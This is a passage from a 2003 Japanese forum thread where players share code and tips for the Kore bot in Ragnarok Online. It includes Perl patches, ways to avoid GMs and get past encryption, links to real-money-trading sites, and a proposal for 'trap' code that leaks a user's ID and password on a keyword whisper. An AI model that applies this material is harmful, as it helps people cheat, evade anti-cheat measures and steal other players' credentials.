586ネトゲ廃人@名無し:03/09/08 11:40 ID:???
>>583
誰も気づかないから問題なし
587ネトゲ廃人@名無し:03/09/08 12:11 ID:???
うちで作っても32KBだったな(モチ自作で)。でも確か、402氏のは今回分岐で飛ばされてる部分
残してたんじゃなかったっけ?それでじゃねぇ?

Rocrypt.dllが4KBってのは、そういうコンパイルのテクニックがあったのか。
まあ動けばイイヤ( ´Д`)

588ネトゲ廃人@名無し:03/09/08 15:29 ID:???
>583
え?表示言葉が変になってるだけじゃないのか?
589545:03/09/08 15:34 ID:???
>>588
残念だったな(藁
エディタでもなんでもいいから使って中見てみ
590ネトゲ廃人@名無し:03/09/08 15:48 ID:???
韓国旗と変な発言系はなさそうだけど・・・・
俺はそれ以外の罠コード知らないので他の香具師マカセタ
591ネトゲ廃人@名無し:03/09/08 15:51 ID:???
どうでもいいけど本家早く更新しないかなと思ってみるテスト
592ネトゲ廃人@名無し:03/09/08 16:02 ID:???
>>591
何か不満でもあるのか?
と聞いてみるテスツ
593ネトゲ廃人@名無し:03/09/08 16:08 ID:???
おい>>592
や ら な い か ?
594ネトゲ廃人@名無し:03/09/08 16:10 ID:???
>592
俺は、BOTでお座り公平ができればいいだけなので、
公平コードを追加するだけで安全に使えるから。
レアとか珍速で拾わなくても普通でいいし。
595ネトゲ廃人@名無し:03/09/08 16:12 ID:???
GM回避とスタック感知ハエぐらいは追加しとけ兄弟
596ネトゲ廃人@名無し:03/09/08 16:13 ID:???
>>589
ミジンコスレにコピペしに行くなよ厨
597ネトゲ廃人@名無し:03/09/08 16:16 ID:???
>>594
お前は591なのか?
もし591だったらもしかしてそこが不満個所か?
598594:03/09/08 16:24 ID:???
>595
ウカーリしてた。それ忘れちゃ大変だな。ありがとう兄弟
>597
うん。そう。俺591。
不満箇所はいろいろ機能満載でファイルが重いこと。
シンプルなのがイイノデス。
本家更新されるといつも差分とって改造してるけど、
本家、暗号化以来ぜんぜん更新してないからさぁ
そろそろファイルを掃除しなくちゃ・・とか思ったり思わなかったり。

今使ってる差分ソフト使いづらい・・・・なんかいいのはないものか
クグッてくる ('A`)ノシ
599ネトゲ廃人@名無し:03/09/08 17:45 ID:???
>>598
そゆことね ナットク
ってか公平ってコード追加する必要あったっけか?
600ネトゲ廃人@名無し:03/09/08 18:27 ID:???
スキルの表示が変なことになるんだが、どのあたりのコードがまずい?

メイス製作でダメージが出てるんだが・・・
601ネトゲ廃人@名無し:03/09/08 18:50 ID:???
よくわからんが0114パケかも
602ネトゲ廃人@名無し:03/09/08 20:27 ID:???
単にテーブルだろ?
鳩逝け
603ネトゲ廃人@名無し:03/09/08 21:07 ID:???
移動時の処理で、route_stepを短くせざるをえないんだけど、route successした
あとで一旦停止、再度移動って感じでカクカクならないか?
それと、移動途中にattack開始するとミョーな感じ。移動後に戻る〜みたいな。
特にVIT型はダメ停止パケが修正されてヤベエしなぁ・・・

上の2点てどうにか対応できる方法はないかのぉ?いま調べてるけど、まだ思いついて
ないのですがってみます(;´Д`人
604ネトゲ廃人@名無し:03/09/08 22:13 ID:???
GM047.Stella 99 プリ ビレタ 片目眼鏡 なし

さて・・・・・・・・
605名無しさん@初回限定:03/09/08 22:45 ID:???
BOTの収穫スレって消えた…?
606ネトゲ廃人@名無し:03/09/08 22:50 ID:???
【アイテム?】今日のMyBOTの収穫は?ver.11【BAN?】
ttp://game3.2ch.net/test/read.cgi/mmosaloon/1062853503/

明日は暗号化ですか。荒れそうですね・・・
607名無しさん@初回限定:03/09/08 23:09 ID:???
>>606
ありがとう
前スレで次スレ廃止とか話出てたから…
そのスレ好きなんだわ
608ネトゲ廃人@名無し:03/09/09 00:47 ID:???
露店コード、Kore → X-kore変更点

remote → inject 置換

sub openShop{
#sleep($roten{'openWait'}); とりあえずの処置
- encrypt($r_socket, $msg);
+ encrypt(\$encryptMsg , $msg);
+ sendToServerByInject($r_socket , $encryptMsg);

sub closeShop {
- encrypt($r_socket, $msg);
+ encrypt(\$encryptMsg, $msg);
+ sendToServerByInject($r_socket, $encryptMsg);

鞍側に露店名が出ないのは、仕様かな?
2垢2PCお持ちの方、確認できるようでしたら、お願いします。
609ネトゲ廃人@名無し:03/09/09 01:27 ID:???
>>608
スレ間違ってますよ
610ネトゲ廃人@名無し:03/09/09 02:25 ID:???
>>606
そろそろ簡単には解かれない暗号化を導入してもらいたい
そんで、定期的に鍵変更するとか

そろそろ引退したいんだが、このウマイ状態から中々抜け出せない
麻薬みたいな感じだ

BOTが絶滅に近い状態にならない限り、ずるずると続けていそうだ
611名無しさん@初回限定:03/09/09 03:55 ID:???
>>610
暗号化で対応するのメンドイと感じたら辞めたら?
確かに現状だと辞め時がなかなか…
612名無しさん@初回限定:03/09/09 03:58 ID:???
>>608
X-Kore使ってる香具師って1垢つーか本垢でしかやってないのか…?
X-Koreには興味ないんでぜんぜん知らないんだが…

暗号化はいっそ完璧な物用意してくれないともう無理だろ
猿でもスレ見てれば解決しちまうし
613ネトゲ廃人@名無し:03/09/09 04:37 ID:???
>>612
そうだよな。このままだと漏れ、BOT専用回線引いちまうよ
誰か止めてくれよ(;´Д`)
614ネトゲ廃人@名無し:03/09/09 04:51 ID:???
>>614
ごめん、すでに専用回線引いちゃった。
さらに、PCも新調しちゃった。
俺はBOTerだがBOTerなりにROを愛してるのさ。
615ネトゲ廃人@名無し:03/09/09 07:44 ID:???
確かにBOTがウマ杉てなかなか辞められないってのもあるな・・・
俺は前前から根絶してくれればすぐ辞めれるのにと思ってるんだが、
BOTが動く限り続けてしまう、麻薬と一緒だな。
そろそろ本気でBOT使えなくしてくれよ癌呆
616608:03/09/09 07:45 ID:???
>609
だとも思ったが、
>>521 のレスもあったので。
617ネトゲ廃人@名無し:03/09/09 07:48 ID:???
BOTは大切なお客様だろ

惰性でやってる漏れでさえ4垢使ってるんだから
BOT排除したら収入激減だろ(´∀`)y-~
618ネトゲ廃人@名無し:03/09/09 07:49 ID:???
韓国鯖が暗号化されたっぽいよ
日鯖にもそのうち来るんじゃない
619ネトゲ廃人@名無し:03/09/09 07:50 ID:???
>>616
他人がしてればイイのかこのヴォケが救いようのない屑だな(藁
620ネトゲ廃人@名無し:03/09/09 07:57 ID:???
>>618
だから今日(ry
621ネトゲ廃人@名無し:03/09/09 08:05 ID:???
そしてあれだメンテ後にここは戦場となるかもしれないなw
622ネトゲ廃人@名無し:03/09/09 08:23 ID:???
BOTやってるよりも、肉入りでやってるよりも、暗号化でガヤガヤ盛り上がりつつ対応するほうが楽しい。
623ネトゲ廃人@名無し:03/09/09 08:26 ID:???
普通のプレイじゃ物足りないなw
624ネトゲ廃人@名無し:03/09/09 10:10 ID:???
暗号化を待ちわびてる最中で申し訳ないんですが、
AUTO-ATTACKの判断部分で、
%{$monsters{$_}{'missedFromPlayer'}} || %{$monsters{$_}{'missedToPlayer'}}
↑のやつって、おかしくない?
'missed(From)You'じゃないとまずいと読んだんだけど。検算・指摘お願いできませんか?
625ネトゲ廃人@名無し:03/09/09 10:14 ID:Fmi8jRWp
正直暗号化は来月にしてほしい('A`)
626ネトゲ廃人@名無し:03/09/09 10:16 ID:JGrjzwia
627624:03/09/09 10:17 ID:???
おおう。先頭の!見逃してた・・・。_| ̄|〇スマン
628ネトゲ廃人@名無し:03/09/09 10:21 ID:???
 ここは中級者スレ、特にコード開発・交換をするところです。
 質問スレではないのであしからず。
 移動先(移動をお願いします)
 【BOT質問スレ】
 http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/
 【BOT雑談スレ】
 http://game3.2ch.net/test/read.cgi/mmosaloon/1062472492/
629ネトゲ廃人@名無し:03/09/09 10:29 ID:???
>>628
ここのスレってそう言う割にはコードはごくごく少数の人しか貼らないし
情報交換もないのな
ここの住民99%スレ違いジャネ?
というよりもあれか
「605氏の降臨を待つアフォどもが中級者ヅラしてるヤシで99%構成されたスレ」
どうよ?違うのか?
630ネトゲ廃人@名無し:03/09/09 10:36 ID:???
605氏も正直たいしたこと無いけどな…。
もう有用なコードなんてないだろう
631ネトゲ廃人@名無し:03/09/09 10:38 ID:???
これ以上新しいコード貼っても趣味だって事で
FAしてるんじゃねぇの?
632ネトゲ廃人@名無し:03/09/09 10:39 ID:???
オナニーに付き合わされてるんだったか
惰性でキターとかいってるけど萎えてるのが実情
633ネトゲ廃人@名無し:03/09/09 10:40 ID:???
605氏は用済みだな
他の中級者ヅラしたヤシのコードも使えないものばかりだしな
猿の大将は消えていいよ
634ネトゲ廃人@名無し:03/09/09 10:41 ID:???
鯖パッチが入った様子。
暗号化来るね。
635ネトゲ廃人@名無し:03/09/09 10:55 ID:???
>>630,633
じゃあ、お前らはここへ何しに来てるんだよ
用がないなら、とっととカエレ
636ネトゲ廃人@名無し:03/09/09 10:59 ID:???
妨害工作に釣られるなよ…
637ネトゲ廃人@名無し:03/09/09 11:18 ID:???
>>635が釣れたようです
638ネトゲ廃人@名無し:03/09/09 11:24 ID:???
将来的によ、例えばウィスパー1枚2Mまで落ちて、
1M=100RMまで下がったとする

・・・200円でウィスパー1枚、Free+20だぜ?

zenyを俺TUEEEEにも回したくならないか?
639ネトゲ廃人@名無し:03/09/09 11:36 ID:???
そうなったら誰もBOTとRMTなどやらん
元々俺TUEEEEの為にやってる奴は残ると思うが
640ネトゲ廃人@名無し:03/09/09 12:32 ID:???
公平boterを忘れてもらっちゃ困るぜ
641ネトゲ廃人@名無し:03/09/09 13:44 ID:???
ギルド経験値上納BOTも忘れるな
642ネトゲ廃人@名無し:03/09/09 13:52 ID:???
今日は本当に暗号化くるのか?
鯖セレまではいけたぞ、そっから先はワカンネ
643ネトゲ廃人@名無し:03/09/09 13:53 ID:???
>>642
こないと思うよ。
644ネトゲ廃人@名無し:03/09/09 14:02 ID:???
ジュノーまでこのままか低レベル暗号化のみっぽいな
645642:03/09/09 14:06 ID:???
本家koreってどのパッチまで対応してるんだ?
ってかどこの国に合わせて作ってるんだ?
韓国対応済みならジュノーでも大した修正しなくてもすむと思うんだが・・・勘違いか?
646ネトゲ廃人@名無し:03/09/09 14:08 ID:???
>>645
言わなければ良かったn(r

韓国のBOTerサイト行けば、既に今後くる暗号化のものまd…
2chで神神騒がれてても、既に新暗号に対応済みなワケで。
647ネトゲ廃人@名無し:03/09/09 14:11 ID:???
思うんだけど今の癌の鯖でパケを全て暗号化は無理だよな。
激重になるだろうし。
過去に一度あったらしいが一時休止中だったから良く知らんが。
FFみたいに暗号化と複合化専用の鯖用意すりゃ軽くなるだろうが癌だしな・・('A`)ノ
648ネトゲ廃人@名無し:03/09/09 14:30 ID:???
>>646
というか、そこに気づかないやつはアフォ過ぎだろ・・・
649ネトゲ廃人@名無し:03/09/09 14:38 ID:???
そんなことより、なんで電気通信大学のBBSがBOTの温床なんだ?('A`)
650ネトゲ廃人@名無し:03/09/09 14:43 ID:???
ああ、あれか・・・漏れも最初みたときはびっくりしたよ。
651ネトゲ廃人@名無し:03/09/09 14:46 ID:???
暇だ。暇だ。
まぁ、かなり厄介な物が来たようですよ(゚∀゚)
ttp://kore.sourceforge.net/phpBB2/viewtopic.php?t=2616
652ネトゲ廃人@名無し:03/09/09 14:49 ID:???
本日暗号変更なし。
皆様お疲れ様でした。ログインできますよ('A`)オモシクネ
653ネトゲ廃人@名無し:03/09/09 14:54 ID:???
ケイオスとロキだけはいれるな
654ネトゲ廃人@名無し:03/09/09 14:58 ID:???
>>651
相変わらずKarasuは精力的に活動してるな。
655ネトゲ廃人@名無し:03/09/09 15:09 ID:???
隊長!!!!
本日もBOTは安泰です!!!
656ネトゲ廃人@名無し:03/09/09 15:21 ID:???
657ネトゲ廃人@名無し:03/09/09 15:40 ID:???
>>656
どうなってんだこりゃ
恥症の集まりか?
658ネトゲ廃人@名無し:03/09/09 15:47 ID:???
>>656
かなり以前、電気通信大の肉入りプレイヤー(後にBOTerへ転向)がいたけど関係無し?

どうでもいいが読む価値ない板だな('Д`;)
659ネトゲ廃人@名無し:03/09/09 16:22 ID:???
電通大ってこんなにLV低い奴等ばっかなのか
高校時代ここに憧れてたんだがな
660ネトゲ廃人@名無し:03/09/09 18:34 ID:???
こういう時、2chでは
ガイシュツ
と、書くんだよな?
661ネトゲ廃人@名無し:03/09/09 18:35 ID:???
そこ、大学スレッドだったの?
ネタ名のkoreBBSかとおもってた。
662ネトゲ廃人@名無し:03/09/09 18:40 ID:???
                     |\
┌──────────┘- \
│  気の触れた方が          \
│                     /
└──────────┐- /
      ヽ(´ー`).ノ       |/
        (  へ)
        く
                  - = ≡三                    |\
               - = ≡三  ┌──────────┘- \
               _ = ≡三    │                     \
                ̄ = ≡三    │     いらっしゃいます       /
               - = ≡三  └──────────┐- /
        (´ー`)        - = ≡三                     |/
      ( ヽ ヽ)
       /  >
663ネトゲ廃人@名無し:03/09/09 19:28 ID:???
BOTが欲しいか…ならばくれてやる
http://www.geocities.co.jp/Playtown-Rook/4353/

なあ、あんたは何のためにBOTを使うんだい?
ヒルクリが欲しい?だったらとっとと現金で買えや
http://www.ex-web.net/rmt/

RMTは怖い?だったら代行屋さんに頼めぇ
http://kissa.dip.jp/~dodo/frame/indexdodof.htm
664ネトゲ廃人@名無し:03/09/09 22:25 ID:???
>>ろBOっと 中級者スレ[Pert33]

今気づいたんだがpartだろっ!(オソイトカユーナ)
665ネトゲ廃人@名無し:03/09/09 22:30 ID:???
>>664
ウワァァァ!
ウワァァァ!!
ウワァァァ!!!
666ネトゲ廃人@名無し:03/09/09 23:11 ID:???
レベルがわかるということは・・・
遠い未来には装備してる武器もわかるようになるのか・・
667ネトゲ廃人@名無し:03/09/10 00:04 ID:740AtstV
BOTを囲む会(笑)
http://jbbs.shitaraba.com/computer/8513/
668ネトゲ廃人@名無し:03/09/10 00:11 ID:???
みんなってパソコン一台でBOT何体使ってるの?
koreについてだいぶ分かって来たから一気に倍に増やそうとしてるんやけど
10体同時とかやってる人いてんの?
669ネトゲ廃人@名無し:03/09/10 00:23 ID:???
>>668
俺のうんこマスィーンじゃ5体が限界じゃ
2体でもVBAが重くてしょうがねぇ
670ネトゲ廃人@名無し:03/09/10 00:29 ID:???
>>668
9体起動で暴走を始めたので、今は7体
671ネトゲ廃人@名無し:03/09/10 01:16 ID:???
露店、
Aのカードをx枚売ったら、またAのカードをx枚補充して売る、みたいな機能追加できませんかね?
鯖キュんも解決できないし・・
672ネトゲ廃人@名無し:03/09/10 01:38 ID:???
それくらいなら他人任せせずに
自分でコード見て考えてみろ。
673ネトゲ廃人@名無し:03/09/10 02:21 ID:???
BOT専用ノートPC P3 1.13G 512MBで4体余裕。
5体以上は管理しきれないのでマンドクセ
674ネトゲ廃人@名無し:03/09/10 02:55 ID:???
俺もBOT4体
なんでもやり過ぎは良くない
675ネトゲ廃人@名無し:03/09/10 07:39 ID:???
ハマる座標があるので潰したいんですが・・・

該当マップはスフィンクスDの2階 80,191
マップの幅は300なので
80*300 + 191+4 = 24195
16進に変換して5E83
バイナリエディタでSD2階のマップを開いて、5E83番地にジャンプして
00→01にしたんですが 潰せていないようです

もしかしてやり方違ってますか?
676ネトゲ廃人@名無し:03/09/10 07:54 ID:???
BOT5対使ってるが急にBOTの動きが悪くなった・・・(反撃が遅いし、スタックしまくるし)
以前は無かったのに一体何故ですか?

modifiedWalk3入れたのが悪かったのかも・・・。
677ネトゲ廃人@名無し:03/09/10 08:24 ID:???
テスト環境::P3 1.4G, L2:256kB, Mem:512MB, WinXP Pro;
で国際鯖でkoreをやってた時は10体でも余裕だった。
1体につきメモリ25MB食うとしてもメモリさえあれば余裕。

modifiedWalk3も時間当たりの計算量として考えたらたいしたことはない。
後は回線やルータにおけるレイテンシの問題と言えそうだ。
678ネトゲ廃人@名無し:03/09/10 09:34 ID:???
May be stuck,auto teleportedが連続ででるのってどうすれば回避できるの?
679ネトゲ廃人@名無し:03/09/10 09:40 ID:???
>>678
スレ違い。↓いけ
【RO】BOTの使い方質問スレ 其の参
http://game3.2ch.net/test/read.cgi/mmosaloon/1062487513/
680ネトゲ廃人@名無し:03/09/10 11:42 ID:???
>>673
ノートPCでやるとメチャ暑いから点けっぱなしにしとくと不安じゃない?
681ネトゲ廃人@名無し:03/09/10 12:16 ID:???
>>680
メインPCはうるさいからつけっぱなしにしておくと寝れない(笑
682ネトゲ廃人@名無し:03/09/10 12:17 ID:???
>>681
生意気なこと言ってくれるねぇ〜

漏れのPCは大型ファン4つ付きのサーバーマシンですが何か?
夜なんて眠れやしませんYO
683ネトゲ廃人@名無し:03/09/10 12:50 ID:???
本家フォーラムに出てた、
Tools.cppの変更を、試しに入れてコンパイルしたら、
24kbのdll出来た。
しかし、アイテムを拾わなくるので削除したよ。
684ネトゲ廃人@名無し:03/09/10 12:52 ID:???
>>683
ワラタ

軽ければ良いってもんじゃないな
685ネトゲ廃人@名無し:03/09/10 13:40 ID:???
P3 500MHlz、128M、のノートPCにXPいれて3体動かしてる。
起動しただけでメモリ90Mくらい食うのでkore起動したら
当然常時がりがりスワッピングを起こしていてる(笑
でも、時給はメインマシンでやってるときとかわらんみたいだし
このままで良いかなと。
漏れは騒音より電気代気にしちゃうなー
686ネトゲ廃人@名無し:03/09/10 14:08 ID:???
>>682
FANの稼動音がしないと落ち着いて眠れません。
687ネトゲ廃人@名無し:03/09/10 14:46 ID:???
celeron1400MHz 512Mの自作マスィーンで3体動かしてる。音もなく静かでイイカンジ。
しかし夫の方が新しくいいパソなのに
bot1つ動かしているだけでファンがうるさくて昼寝できないよ

夫婦してBOTerですΣd(´▽`)
688ネトゲ廃人@名無し:03/09/10 15:01 ID:???
ウホッ 悪い嫁
旦那に内緒で ヤラナイカ
689ネトゲ廃人@名無し:03/09/10 15:20 ID:???
>>687
人妻団地でヤラナイカ?
690ネトゲ廃人@名無し:03/09/10 15:22 ID:???
>>687
終ってるな・・・
691ネトゲ廃人@名無し:03/09/10 15:45 ID:???
modifiedWalkはかなり負荷かかるし、コード追加しすぎた・・・。
露店とかは別々にして使うし、削減しないとな。
692ネトゲ廃人@名無し:03/09/10 15:48 ID:???
>>687
おまんこplzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
693ネトゲ廃人@名無し:03/09/10 16:50 ID:???
おまいさんたち、後少しで2-2次職実装かもしれないが、
2-2次職のBOTとしての能力はどう考えてる?
安定度からいうとやっぱり剣士系のクルセだろうけど、
BBやBDSみたいに属性乗る範囲攻撃無いから、
やっぱり騎士なのかな。
SQと騎乗時中型100%考えると単体攻撃力では槍クルセ悪くない
気もするんだがな…
694ネトゲ廃人@名無し:03/09/10 17:05 ID:???
パッシブスティルのあるローグでFA
95%回避かつM級(もしくは相当)レア狙えるところに放って荒稼ぎ

これぐらいは皆考えてるだろ
695ネトゲ廃人@名無し:03/09/10 17:25 ID:???
>>693

俺はチート狙い
696ネトゲ廃人@名無し:03/09/10 18:28 ID:???
誰か>>675キボンヌキボンヌキボンヌーーー
697ネトゲ廃人@名無し:03/09/10 18:54 ID:???
夫婦してBOTERワラタ
夫婦仲良くPT組めや。
698ネトゲ廃人@名無し:03/09/10 18:55 ID:???
どなたかろBOっと 中級者スレ[Pert32] の
過去ログ上げてもらえませんか?
矢の持ち替えコード探してるんですが倉庫に落ちてるようで><
コード部分でもOKなのでお願いします.
__| ̄|○ タノミマス7
699ネトゲ廃人@名無し:03/09/10 18:56 ID:???
700ネトゲ廃人@名無し:03/09/10 19:15 ID:???
>>698
課金すればー?
701ネトゲ廃人@名無し:03/09/10 19:53 ID:???
なぁ、季節はずれの質問ですまないんだが、
リンクサンタからルティエフィールドに移動するのに
特別なコードを追加する必要あるのか?
LOSでc r1 c cと設定していても、サンタとの会話は最後まで行くのに
キャラは移動せずにそのまま残ってるんだよ。
手動でc r1 c cやっても同様の症状になる。
誰か教えてくれ(;´Д`)
702ネトゲ廃人@名無し:03/09/10 20:05 ID:???
[Sep 10 18:53:08 2003][I] *** ビタタカード を発見しました ***
[Sep 10 18:53:09 2003][I] *** ビタタカード をGETしました ***
[Sep 10 18:53:09 2003][I] *** アンドレ 264 匹目で入手 ***
アンドレからキタ━━━(゜∀゜)
703ネトゲ廃人@名無し:03/09/10 20:05 ID:???
>>701
愛が足りない
704ネトゲ廃人@名無し:03/09/10 21:02 ID:???
新2次職きたら皆ローグになるのか?
俺はクルセ試してみるために、新たに犬歯1体増やしたぞ。
705ネトゲ廃人@名無し:03/09/10 21:33 ID:???
>>701
新アイテム「トナカイの角」を所持していないと通れなくなりました
706ネトゲ廃人@名無し:03/09/10 22:01 ID:???
バードBOT作ってリンゴ永久機関しようぜ!

問題は男アカなんて持ってないことだ。
707ネトゲ廃人@名無し:03/09/10 22:10 ID:???
>706
ネカマキモいよ
708ネトゲ廃人@名無し:03/09/10 22:27 ID:???
チャットログに「BOTだらけ・・・」とか「BOTしかいないね」とかログに残ってると
なんか悲しくなってくる。癌様はまったく仕事しないしさ。
ホンキで正直者がバカを見るゲームだよね。
709ネトゲ廃人@名無し:03/09/10 23:00 ID:???
http://ele123.hp.infoseek.co.jp/index.htm
まだBOT販売受け付けております。
よろしくお願いします
710ネトゲ廃人@名無し:03/09/10 23:03 ID:???
詐欺師Uzeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
711ネトゲ廃人@名無し:03/09/10 23:04 ID:???
罠kore販売してる分際でマルチしてんじゃねーよ屑が
712ネトゲ廃人@名無し:03/09/10 23:07 ID:???
最近BANされた人はいますか?
前にBANくらったんだけどまたWISがきてんのよ。
固定IPはだめよのう。
713ネトゲ廃人@名無し:03/09/10 23:10 ID:???
ilコマンドの時とか、重要アイテム拾う時とかにDist(アイテムまでの距離)を
記録するコードを貼っていただけないでしょうか?
結構探しているのですが、鳩koreにも実装されてないみたいで・・・
714名無しさん@初回限定:03/09/10 23:10 ID:???
新二次職はしばらく様子見かな
実装時に転職即放流だと物珍しさに話し掛けられること多いだろうしな
漏れもローグいいと思うけど正直最近C以外で金になるのって青箱だけ
けどSD3だと転職したてのローグじゃ狩りになるのか疑問…
715ネトゲ廃人@名無し:03/09/10 23:11 ID:???
>>709のって
・GM回避
・スタック回避
・露店機能
・NPC関係機能
・高性能タゲ被り防止
・武器の持ち替え
・dumpを吐かない
・壁歩き防止
・経路指定
この辺どの程度のレベルなんだろうな。
GM回避って初期のめちゃくちゃお粗末な奴だったりするんだろうな。
経路指定だってPointWalkだろうし、壁歩き防止だってModifiedWalkだろ。
「高性能」タゲ被り防止がどう高性能なのか。
まあ要するにここに出た機能を鳩がつなぎ合わせたってオチだろうな。
ここに出てる機能をそのまま付けてる時点で終わってる。
716ネトゲ廃人@名無し:03/09/10 23:13 ID:???
>>709はサポートするとか言っても、
暗号化来たら自分じゃ何も出来ないしな
717名無しさん@初回限定:03/09/10 23:25 ID:???
>>715
昔の133氏のに多少機能追加しただけなレベルだな
とりあえずここでのコードを追加しただけの猿仕様版かと
暗号化されたらまずサポートなんて不可能だろ
718ネトゲ廃人@名無し:03/09/10 23:38 ID:???
709のとこって実際どれだけ売れてるのか気になるな…
どうか罠仕込んでますように
719ネトゲ廃人@名無し:03/09/10 23:39 ID:???
>>718
俺が人柱になって買ったけど、
鳩にはわからん罠が仕込まれてたよ。

オープンで××しちゃう罠
720ネトゲ廃人@名無し:03/09/10 23:40 ID:???
605氏のBase記録コードについてなんですが
特定のキャラが記録されないっぽいです。
同じダンジョンにいるMyBotのうちの一人なんですが
規則性がよくわからないのでもう少し様子見たいと思います。
721ネトゲ廃人@名無し:03/09/10 23:46 ID:???
>>719
ソースは出さなくていいから何するのか教えてくれよ
気になるじゃんか
今まであった罠?それとも新規のおもしろ罠?そこだけでもよろ
722719:03/09/10 23:53 ID:???
罠は一切いれてはおりません。
今現在16名の人たちと交渉しました。
723719:03/09/10 23:54 ID:???
罠は一切いれてはおりません。
今現在256名の人たちと交渉しました。
724719:03/09/10 23:57 ID:???
罠は一切いれてはおりません。
今現在65535名の人たちと交渉しました。
725719:03/09/10 23:58 ID:???
罠は一切いれてはおりません。
今現在16777216名の人たちと交渉しました。
726ネトゲ廃人@名無し:03/09/11 00:37 ID:???
BOTってルート計算時以外ほとんど負荷無いんだね。
2GHz以上なら20体は動かせそう。それこそ画面に表示しきれないくらいに。
727ネトゲ廃人@名無し:03/09/11 00:41 ID:???
それを管理するのは人間だがな
728ネトゲ廃人@名無し:03/09/11 00:56 ID:???
>>726
あーあ。言っちゃった
ちなみに漏れは PentiumII 400MHz で●体動かしていたりするから
最近のPCなら相当起動できるかと
ただ>>727も言っているように管理できればだけどなー
漏れはとっくにリアル犠牲にしてるし
729ネトゲ廃人@名無し:03/09/11 01:37 ID:???
だれかRo@Bot潰して下さい('A`)
730前スレ605:03/09/11 01:53 ID:???
なんか、すっかり本スレになっちゃったなぁ
なんのためにこっちに避難したんだろう・・・・・

630〜633は書き込み時間があれなんで、かまわないけど
スレ全体の空気がコードに対して、あまり好意的になってなさそうなのが気にかかるかなぁ
どっか他のところに引っ越すorしばらく潜るとします
731ネトゲ廃人@名無し:03/09/11 02:38 ID:???
どういう機能があれば楽しいかっていうのが沸いてこないんだよなあ。
732ネトゲ廃人@名無し:03/09/11 03:05 ID:???
転職機能もあるBOTがあると便利かも・・・
前に商人転職用作ったけどめったに商人に転職しないからつかわねw
剣士、騎士転職BOTがあれは楽かもな

ほかには新しい罠考えてコード出すのはどう?
ちなみに今俺が考えてるやつは

wisしてきたやつにそれ以降自分がログインするたびにステ&レベル吐き
そいつにレア拾うたびに報告
特定の単語を含むwisがきたらID、PASS吐き

こんなんどう?
733ネトゲ廃人@名無し:03/09/11 03:35 ID:???
>>730
とゆーか、前スレ605さんのコードには、いつもお世話になっていますよ
凄く感謝もしてるし、「次はどんなコードなんだろ」って期待もしてる
ただ、クレクレ君になりたくないので特にコメントしてなかっただけ

アレなカキコは、アンチか自力でコード組み込めない香具師だと思う
734ネトゲ廃人@名無し:03/09/11 04:22 ID:???
>>前スレ605氏
大体必要そうな機能はそろってきちゃったからねぇ。。だからアンナ発言する奴が出てくる…
今は新コードより、既存コードの改変がイイカモね。 某所で出たスキル発動関係とかね…。

まぁどこか雰囲気がイイトコにしばらく移住するのもイイカモネ。
735ネトゲ廃人@名無し:03/09/11 05:18 ID:???
プロを歩き回って、開いてる露店を手当たり次第に調べて
価格調査する機能とかあったら便利かな。

最低価格と平均価格をファイルに出力するとかね。
736ネトゲ廃人@名無し:03/09/11 05:44 ID:???
そんなサイトを作ったとすると毎日アクセスが集中して
ウェブマスターとして広告料稼げると推量
737ネトゲ廃人@名無し:03/09/11 05:47 ID:???
それに似たようなことしてるのがまさにココなんだが
ttp://price.ro-skins.net/
738698:03/09/11 08:20 ID:???
マダサガシテマス__| ̄|○ タノミマス
739ネトゲ廃人@名無し:03/09/11 09:42 ID:???
>>738
だから2chビューワを導入しろ、と
740ネトゲ廃人@名無し:03/09/11 10:18 ID:???
前スレ605未練がましいなwWw
とっとと失せろ
741ネトゲ廃人@名無し:03/09/11 10:44 ID:???
しかしここの連中は最悪だな…
お前ら605氏にはお世話になってるんだろうが
壁歩き防止コードありがたく使わせて貰ってるんだろ?
今は有用なコードなんてこれ以上なかなか出てこないだろうけど
趣味のコードも見てて面白いと思うんだがなぁ
742ネトゲ廃人@名無し:03/09/11 11:42 ID:???
このスレでpl弄れる奴はここちょっと覗いてる程度だろ?
お世話になってるなんて神扱いはやめておいたほうがいい
コードに興味あるから見てるようなもんだし

わざわざレス返すあたり、漏れの底も知れてるな(´ー`;)
743ネトゲ廃人@名無し:03/09/11 13:45 ID:???
神扱いは別として世話になってるってのは事実だろ
744ネトゲ廃人@名無し:03/09/11 13:51 ID:???
もう次スレいらねーな
コードの情報なんて交換してねーし、ふんぞり返ったヴァカばっかだし

1 :ネトゲ廃人@名無し :03/08/20 08:49 ID:???
コードの情報交換専用です
745ネトゲ廃人@名無し:03/09/11 13:54 ID:???
みんなでコード持ち寄っていろいろ作ってみればいいんじゃないの?
無駄な論議より、コード貼ったり、改善したりするほうが、
みんな(゚д゚)ウマーっしょ。
746ネトゲ廃人@名無し:03/09/11 13:54 ID:???
頭悪い香具師、努力しない香具師ほどプライドだけやたらあって調子に乗るなぁ
747ネトゲ廃人@名無し:03/09/11 13:58 ID:???
>>745
いまさら無駄
605氏ももうカキコしないだろうし、その他に貼ってくれてたヤシも貼らないっしょ
ここにいるのは野次しか吐けねえミジンコ以下だけってことでFA

ちょっと早いけど埋めましょっかね
748ネトゲ廃人@名無し:03/09/11 14:09 ID:???
埋め
749ネトゲ廃人@名無し:03/09/11 14:38 ID:???
んじゃ、埋めついでにステ状態を外部のTxtに出力するコードでも

sub parseMsg {
my $msg = shift;
my $msg_size;
+recordStatus() if($config{"recordStatus"} && %vStatus=>2);
---------------------------------------------------------------
sub quit {
# defeat record to file
recordDefeatMonster();
+recordStatusStop() if($config{"recordStatus"} && %vStatus=>2);
----------------------------------------------------------------
+#時給記録
+sub recordStatus {
+$hp_string = $chars[$config{'char'}]{'hp'}."/".$chars[$config{'char'}]{'hp_max'}." ("
+.int($chars[$config{'char'}]{'hp'}/$chars[$config{'char'}]{'hp_max'} * 100)
+."%)" if $chars[$config{'char'}]{'hp_max'};
+
+$sp_string = $chars[$config{'char'}]{'sp'}."/".$chars[$config{'char'}]{'sp_max'}." ("
+.int($chars[$config{'char'}]{'sp'}/$chars[$config{'char'}]{'sp_max'} * 100)
+."%)" if $chars[$config{'char'}]{'sp_max'};
+
+$weight_string = $chars[$config{'char'}]{'weight'}."/".$chars[$config{'char'}]{'weight_max'}." ("
+.int($chars[$config{'char'}]{'weight'}/$chars[$config{'char'}]{'weight_max'} * 100)
+."%)" if $chars[$config{'char'}]{'weight_max'};
750ネトゲ廃人@名無し:03/09/11 14:39 ID:???
